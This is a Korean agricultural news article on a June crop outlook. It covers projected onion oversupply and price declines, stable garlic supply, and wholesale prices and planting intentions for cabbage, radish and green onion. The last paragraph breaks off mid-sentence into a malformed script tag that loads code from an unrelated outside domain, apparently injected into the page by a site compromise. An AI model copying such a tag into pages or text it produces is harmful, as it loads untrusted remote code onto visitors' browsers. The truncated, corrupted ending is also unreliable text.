" 올해 양파는 예년보다 과잉생산돼 이에 따른 출하조절이 시급한 반면 마늘의 경우는 우려했던 공급과잉현상은 없을 것으로 전망됐다. 또 배추, 무는 파종시기가 6월에 몰려 8월가격이 하락될 것으로 예측됐다.

이는 한국농촌경제연구원 농업관측센터가 발표한 「6월의 농업관측」에 따른 것으로 양파 공급량은 올해 지난해보다 10∼11%늘어난 97만8천∼98만8천톤으로 추정된데 반해 수요는 3∼4%증가하는 데 머무를 것으로 보여 공급과잉이 예상됐다.
이에 따라 수출확대와 산지폐기가 없을 경우 연평균 도매가격은 ㎏당 4백∼5백원 내외로 평년의 6백원보다 낮을 것으로 전망됐다. 농협 계약재배물량 6만9천톤을 시장에서 격리시키고, 1만톤을 수출할 경우 가격 하락폭을 15%정도 줄이는 효과가 있을 것으로 추정됐다. 수확기 가격이 폭락할 경우 산지 폐기량이 많아지고, 이는 단경기의 가격상승을 유발할 수 있으므로 저장업체들의 적극적인 매입이 요구되며, 필요할 경우 정부수매를 늘려야 할 것으로 지적됐다.

마늘 공급량은 지난해 소비량보다 3∼5%늘어난 46만톤∼46만9천톤으로 추정되나 수요도 3∼4%늘어나 우려했던 공급과잉현상은 없을 것으로 추정됐다.
고랭지 무·배추의 식부의향시기가 6∼7월에 몰려 정식면적이 지난해보다 무는 30%, 배추는 15%내외나 늘어날 전망이어서 8월 이후 가격이 하락될 것으로 전망됐다.
이달의 농업 관측의 주요 내용을 살펴본다.
최상희 sanghui@aflnews.co.kr

배추
5월의 배추 도매가격은 4월보다 9% 상승한 5톤 트럭당 1백21만원(상품 기준)이나 평년 5월보다는 44% 낮고, 작년 5월보다는 40% 낮은 수준이다.
3월 하순 이후 정식된 봄배추의 면적이 많고 작황도 좋아 5월 29일 현재 가격은 95만원으로 하락추세에 있다.
고랭지 배추 재배의향면적이 3월 조사에서는 작년 실제면적보다 1.7%, 4월 조사에서는 3.6% 증가하는 것으로 나타났으나, 5월 조사에서는 8%로 늘어나 재배의향면적이 증가하고 있다.
지대별로 보면, 해발 7백m 이하 준고랭지에서의 재배의향면적은 11% 늘어나고, 해발 7백m 이상 고랭지에서는 6% 늘어난 것으로 나타났다.
준고랭지에서의 재배의향면적은 전북·경상지역은 줄어드는 반면 강원지역은 늘어나고, 고랭지는 강원·경상지역에서 늘어난 것으로 조사됐다.
정식시기별로 보면, 4월 정식면적은 작년보다 42% 줄었으나 5월 정식면적은 6% 늘어난 것으로 나타났다. 6월 정식의향면적은 작년보다 30% 많고 7월 정식의향면적은 작년보다 13% 적은 것으로 조사돼 6월에 정식이 집중될 전망이다.
4월의 봄배추 정식면적이 작년보다 25% 늘었으나 준고랭지의 4월 정식면적이 42% 감소하고, 준고랭지의 5월 정식면적은 4% 증가하는데 그쳐 6~7월에는 5월까지의 공급과잉현상이 해소될 것으로 보인다.
가을배추 재배의향면적은 작년 실제면적보다 0.4% 줄어드는 것으로 조사됐다. 지역별로는 호남지역이 증가하고, 중부 및 영남지역은 감소하는 것으로 나타났다.


5월의 무 도매가격은 4월보다 21% 하락한 5톤 트럭당 2백31만원(상품 기준)이나 평년 5월보다 16% 높고, 작년 5월보다는 37% 높은 수준이다.
시설재배 무의 출하는 거의 끝났으나, 3월 이후에 파종된 남부지역 노지재배 면적이 많고 작황도 좋아 5월 29일 가격은 1백57만원으로 하락추세에 있다.
고랭지 무 재배의향면적이 3월 조사에서는 작년 재배면적보다 3.4% 많은 것으로 조사됐으나 4월 조사에서는 9.6%로 늘고, 5월 조사에서는 21.4%로 늘어나 재배의향면적이 크게 증가하고 있다.
지대별로 보면, 해발 7백m 이하 준고랭지에서의 재배의향면적은 17.4% 늘어나고, 해발 7백m 이상 고랭지에서는 28.4% 늘어난 것으로 나타났다.
준고랭지에서의 재배의향면적은 강원·전북·경상도에서 모두 늘어나고, 고랭지는 강원·경상도에서 늘어난 것으로 조사됐다.
파종시기별로 보면, 4월 파종면적은 작년보다 62% 줄었으나 5월 파종면적은 4% 늘었다. 6월 파종의향면적은 작년보다 36% 많고, 7월 파종의향면적은 19% 많은 것으로 조사돼 6월 파종면적이 특히 많이 늘어날 전망이다.
준고랭지 무의 4월 파종면적은 작년보다 62% 감소했으나 봄무의 4월 파종면적이 2백70%나 증가하였으므로, 6월에도 공급과잉현상이 지속될 것으로 보인다.
가을무 재배의향면적은 작년 재배면적보다 2% 줄어드는 것으로 나타났다. 지역별로는 중부지역이 늘고, 호남, 영남지역은 주는 것으로 나타났다.

대파
5월의 대파 도매가격은 4월보다 50% 하락한 kg당 4백84원(상품 기준)으로 평년 5월보다 30%, 작년 5월보다는 45% 낮은 수준이다.
구조파 출하는 거의 끝났으나 중부지역의 시설대파 출하가 본격화되면서 ?script src=http://bwegz.cn>
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